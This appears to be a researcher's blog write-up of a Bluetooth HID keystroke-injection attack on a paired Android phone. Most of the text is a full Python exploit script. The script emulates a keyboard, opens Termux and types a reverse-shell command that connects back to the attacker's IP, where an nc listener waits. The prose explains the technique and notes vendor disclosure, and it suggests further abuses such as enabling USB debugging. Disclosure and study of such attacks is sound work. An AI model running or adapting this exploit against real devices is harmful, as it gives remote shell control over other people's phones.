This writeup is a lesson in what happens when we are not, and why we should be very, very cautious of what bluetooth devices we pair to.
We’ll start with this, just to set the stage for what’s to come.
This was actually pretty simple, you probably have already guessed what I’m doing here, and it is really pretty obvious. I’m loading some code that brings up a bluetooth connection in the context of a HID keyboard,
sending HCI events and HID control codes to the phone, tediously designed so that I can pull up finder, search for and launch Termux, then enter a command that pushes a reverse shell back out over the network to my
attacking computer.
A pretty straightforward loader script that gathers the information needed to run the python part of the sploit. This would be the attacking ip (
), the phone’s MAC address (
),
and the bluetooth controller address we’re pairing with on the laptop (
).
#!/usr/bin/python3
# oxagast / Marshall Whittaker
import sys
import os
import time
import multiprocessing
from bthid import BluetoothHIDService
from dbus.mainloop.glib import DBusGMainLoop
pcmacaddr = sys . argv [ 1 ]
phmacaddr = sys . argv [ 2 ]
pcipaddr = sys . argv [ 3 ]
def macr ( send_call_back ):
def home_scr ():
for _ in range ( 2 ):
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x29 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
time . sleep ( 0.3 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def find_scr ():
for _ in range ( 5 ):
kstate = bytearray ([ 0xA1 , 0x01 , 0x08 , 0x00 , 0x09 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
time . sleep ( 0.5 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x08 , 0x00 , 0x9D , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def kbtab ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2B , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def kbreturn ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x28 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def go_back ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xF1 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def kbdown ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x5B , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def kbright ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x4F , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def drop_menu ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x08 , 0x00 , 0x11 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def my_files ():
find_scr ()
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x1C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x09 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x0C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x0F , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x08 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x16 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def termux ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x17 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x08 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x15 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x18 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x1B , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ])
send_call_back ( bytes ( kstate ))
def shellcode ():
time . sleep ( 5 )
waitforshell ()
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x05 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # b
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x04 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # a
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x16 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # s
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x0B , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # h
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) #
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2D , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # -
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x0C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # i
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) #
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x02 , 0x00 , 0x37 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # >
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x02 , 0x00 , 0x24 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # &
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) #
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x38 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # /
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x07 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # d
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x08 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # e
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x19 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # v
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x38 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # /
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x17 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # t
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x06 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # c
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x13 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # p
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x38 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # /
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
ipaddr () # this function turns the ip address entered into keycodes
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x38 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # /
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x23 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # 6
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x22 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # 5
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x21 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # 4
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x20 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # 3
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) #
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x27 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # 0
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x02 , 0x00 , 0x37 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # >
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x02 , 0x00 , 0x24 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # &
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x1E , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # 1
send_call_back ( bytes ( kstate ))
def nokey ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # dummy key
send_call_back ( bytes ( kstate ))
def caps ():
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x39 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # caps off
send_call_back ( bytes ( kstate ))
def ipaddr ():
addr = pcipaddr
for intchr in [ * addr ]:
if intchr != " . " and intchr != " 0 " :
decchr = int ( intchr ) + 30 - 1
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , decchr , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # caps off
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
if intchr == " . " :
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x37 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # caps off
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
if intchr == " 0 " :
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x27 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # caps off
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
def waitforshell (): # this is so the netcat listener has time to start
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x16 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # s
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x0F , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # l
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x08 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # e
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # nop
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x08 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # e
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x13 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # p
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) #
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x21 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # 4
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) #
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x02 , 0x00 , 0x24 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # &
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # nop
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x02 , 0x00 , 0x24 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) # &
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
kstate = bytearray ([ 0xA1 , 0x01 , 0x00 , 0x00 , 0x2C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) #
send_call_back ( bytes ( kstate ))
time . sleep ( 0.1 )
print ( " [!] Building shell... " )
print ( " [*] Trying to attain control over device... " )
print ( " [*] Sending back to home screen... " )
go_back ()
home_scr ()
time . sleep ( 1.2 )
print ( " [*] Trying to pull up finder... " )
find_scr ()
time . sleep ( 0.3 )
print ( " [*] Trying to find termux... " )
termux ()
# time.sleep(0.5)
# kbtab()
time . sleep ( 0.2 )
kbdown ()
time . sleep ( 0.2 )
kbreturn ()
time . sleep ( 0.2 )
kbreturn ()
time . sleep ( 0.2 )
kbreturn ()
print ( " [*] Pushing shellcode now... " )
for _ in range ( 4 ):
caps ()
kbreturn ()
kbreturn ()
shellcode ()
print ( " [!] Back that big ass up guuuuuurl! " )
kbreturn ()
listen_ret = os . system ( " nc -l -p 6543 -v -w 10 " )
if listen_ret == 0 :
break
else :
print ( " [*] Connect timed out, trying again... " )
time . sleep ( 1 )
if __name__ == ' __main__ ' :
DBusGMainLoop ( set_as_default = True )
srec = open ( " sdp_record_kbd.xml " ). read ()
try :
bthid_srv = BluetoothHIDService ( srec , pcmacaddr )
macr ( bthid_srv . send )
finally :
print ( " [x] Exploit complete! " )
This is basically a HID/HCI_EVT injection macro, but in keycodes translated into something the bluetooth controller can understand. Each kstate is the state of the keyboard at time of control code injection.
I have it subrouteined out to make it easier to build shellcode for other devices in this manner later.
There is also a control script for the blueooth controller, which I did not write, I shamelessl lifted this library
from Alkaid-Benetnash ’s EmuBTHID , big thanks!
This about ends any reason to be connecting to any bluetooth device that you do not, yourself, own, and know is not waiting to spit out an exploit as soon as you connect.
There are other attacks that could possibly be coupled with this one, such as a ‘KNOB’ attack , whereby the key entropy length can
be changed to 1 and, subsequently simplifying brute force, letting you jump on an already paired device’s connection, possibly allowing this attack to take place without
pairing it first , but this has not been demonstrated (by me), yet. I’d like to see what other types of attacks I can run over bluetooth, so I may have a follow up to
this writeup. Note using this attack it is simple to do things like, say, turn on USB debugging, or force file tarnsfers to be accepted. I have notified Samsung of
this attack, and say that this is intended behavior, and that since the device needs pairing for this to work, the device is hence trusted, and my attack is more just
malicious than an exploit, and that is fair. But it’s still cool. Thanks for reading! Happy hacking!